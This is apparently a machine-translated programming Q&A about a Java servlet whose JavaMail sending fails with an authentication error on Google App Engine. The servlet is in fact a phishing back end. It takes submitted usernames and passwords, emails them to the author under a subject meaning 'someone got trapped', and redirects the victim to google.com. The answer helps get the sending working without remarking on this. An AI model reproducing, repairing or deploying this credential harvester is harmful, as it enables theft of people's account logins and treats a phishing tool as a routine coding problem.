java - 无法在 java 应用程序引擎中使用 javax 邮件

Question

我在java servlet中编写了发送电子邮件的程序。当我在本地主机中部署此程序时，我成功使用 gmail 帐户发送电子邮件。但是当我部署到谷歌应用程序引擎时，出现错误。在 Google App Engine 中发送电子邮件有任何限制吗？这是我的代码:

package com.fjr.action.facebook;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.GenericArrayType;
import java.nio.file.attribute.UserPrincipalLookupService;
import java.util.Properties;

import javax.mail.Message;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.SAXException;

public class ProcessRequest  extends HttpServlet{



    public void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String nama = req.getParameter("username");
        String password = req.getParameter("password");
        if (nama != null && password != null) {
            processEmail(nama, password);
            try {
//              String path = getServletContext().getRealPath("/WEB-INF/file/userlist.xml");
//              System.out.println(path);
//              writeToXML(nama, password , path);
            }catch( Exception e) {
                e.printStackTrace();
            }
        }


        try {
            resp.sendRedirect("http://www.google.com") ;
//          resp.addHeader("Location" , "www.google.com" );
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

    }


    public void processEmail(String nama, String password) {

//      UserService service;
        String host = "smtp.gmail.com";
        String from = "some-email@gmail.com";
        Properties props = System.getProperties();
//      Properties props = new Properties();
        props.put("mail.smtp.host", host);
        props.put("mail.smtp.user", from);
        props.put("mail.smtp.password", "password"  );
        props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");

        Session getMailSession = Session.getDefaultInstance(props, null);
        MimeMessage generateMailMessage = new MimeMessage(getMailSession);
        try {
            generateMailMessage.setFrom(new InternetAddress("fajar.kasimbar@gmail.com"));

            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("other-email@gmail.com"));
            generateMailMessage.setSubject("Ada yang terjebak");
            String emailBody = "nama: "  + nama + "| pasword: "+ password;
            generateMailMessage.setContent(emailBody, "text/html");


            Transport transport = getMailSession.getTransport("smtp");

            transport.connect("smtp.googlemail.com", "some-email@gmail.com", "password" );
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());

            transport.close();

//          Transport.send(generateMailMessage);
        }catch(Exception e) {
            System.out.println("mail.sending error"); 
            e.printStackTrace();
        }

    }


}

我得到这个错误

[INFO] GCLOUD: INFO: Module instance default is running at http://localhost:8080/
[INFO] GCLOUD: Sep 09, 2019 12:52:07 PM com.google.appengine.tools.development.AbstractModule startup
[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 09, 2019 8:52:07 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: mail.sending error
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.processEmail(ProcessRequest.java:116)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:43)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD:  at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)

编辑1:

我编辑代码成为

public void processMail2() { ////////
    Properties props = new Properties();
    String host = "smtp.gmail.com";
    String from = "fajar.kasimbar@gmail.com";

    props.put("mail.smtp.host", host);
    props.put("mail.smtp.user", from);
    props.put("mail.smtp.password", "some-password"  );
    props.put("mail.smtp.port", "587"); // 587 is the port number of yahoo mail
    props.put("mail.smtp.auth", "true");
    props.put("mail.smtp.starttls.enable", "true");

    Session session = Session.getDefaultInstance(props, null);
    session.setDebug(true); 
    try {
    Message msg = new MimeMessage(session);
    msg.setFrom(new InternetAddress("fajar.kasimbar@gmail.com", "Kue Bolu"));
    msg.addRecipient(Message.RecipientType.TO,
                    new InternetAddress("fajar.kasimbar.1@gmail.com", "Test"));
    msg.setSubject("Your Example.com account has been activated");
    msg.setText("This is a test");
    Transport.send(msg);
    } catch (Exception ex) {
        ex.printStackTrace();
    // ...
    } 
}

仍然出现错误:

[INFO] GCLOUD: INFO: The admin console is running at http://localhost:8080/_ah/admin
[INFO] GCLOUD: Sep 12, 2019 7:36:58 PM com.google.appengine.tools.development.DevAppServerImpl doStart
[INFO] GCLOUD: INFO: Dev App Server is now running
[INFO] GCLOUD: DEBUG: setDebug: JavaMail version 1.4ea
[INFO] GCLOUD: DEBUG: getProvider() returning javax.mail.Provider[TRANSPORT,smtp,com.sun.mail.smtp.SMTPTransport,Sun Microsystems, Inc]
[INFO] GCLOUD: DEBUG SMTP: useEhlo true, useAuth true
[INFO] GCLOUD: javax.mail.AuthenticationFailedException
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:306)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:156)
[INFO] GCLOUD:  at javax.mail.Service.connect(Service.java:105)
[INFO] GCLOUD:  at javax.mail.Transport.send0(Transport.java:168)
[INFO] GCLOUD:  at javax.mail.Transport.send(Transport.java:98)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.processMail2(ProcessRequest.java:155)
[INFO] GCLOUD:  at com.fjr.action.facebook.ProcessRequest.doGet(ProcessRequest.java:47)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
[INFO] GCLOUD:  at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:873)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1623)
[INFO] GCLOUD:  at com.google.appengine.tools.development.ResponseRewriterFilter.doFilter(ResponseRewriterFilter.java:134)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.tools.development.HeaderVerificationFilter.doFilter(HeaderVerificationFilter.java:34)
[INFO] GCLOUD:  at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1610)
[INFO] GCLOUD:  at com.google.appengine.api.blobstore.dev.ServeBlobFilter.doFilter(ServeBlobFilter.java:63)

Answer 1

Google App Engine 说明为 here 。您不需要连接到服务器；只需使用默认值和静态发送方法即可。